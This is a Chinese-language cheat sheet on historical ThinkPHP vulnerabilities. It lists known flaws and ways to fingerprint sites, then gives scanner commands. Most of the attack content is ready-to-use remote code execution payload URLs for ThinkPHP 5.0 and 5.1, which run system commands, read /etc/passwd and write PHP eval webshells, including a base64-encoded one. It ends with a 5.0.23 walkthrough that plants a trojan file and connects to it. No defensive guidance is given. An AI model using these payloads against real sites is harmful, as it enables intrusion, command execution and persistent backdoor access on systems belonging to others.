常见历史漏洞之Thinkphp
一、介绍
Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。
二、Thinkphp历史漏洞
- ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
- ThinkPHP5_SQL注入漏洞&&敏感信息泄露
- ThinkPHP3.2.3_最新版update注入漏洞
- ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
- ThinkPHP3.2.X_find_select_delete注入
- ThinkPHP框架5.0.X_sql注入漏洞分析
- ThinkPHP3.X_order_by注入漏洞
- ThinkPHP5.X_order_by注入漏洞
- ThinkPHP5.X_远程代码执行
三、Thinkphp特征发现
-
默认页面
-
错误页面
- 开启了debug模式的错误页面:
- 开启了debug模式的错误页面:
- 未开启debug模式的错误页面:
四、批量漏洞检测
https://github.com/Lucifer1993/TPscan
bash
python TPscan.py
https://github.com/theLSA/tp5-getshell
bash
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/
- 说明漏洞存在,可以进行漏洞利用。
- 使用
ThinkphpGUI-1.2-SNAPSHOT
进行漏洞扫描和命令执行。
- 切换版本,进行命令执行。
五、漏洞总结
- Thinkphp3 漏洞总结:
https://y4er.com/post/thinkphp3-vuln/
- Thinkphp5 RCE总结:
https://y4er.com/post/thinkphp5-rce/
- 5.0.* 常用PoC
bash
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
- 5.1.* 常用PoC
bash
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo
#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
六、5.0.23版本案例演示
1、查看。
bash
#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
bash
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
2、写入木马文件。
bash
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php
3、写入成功。
4、使用蚁剑进行连接。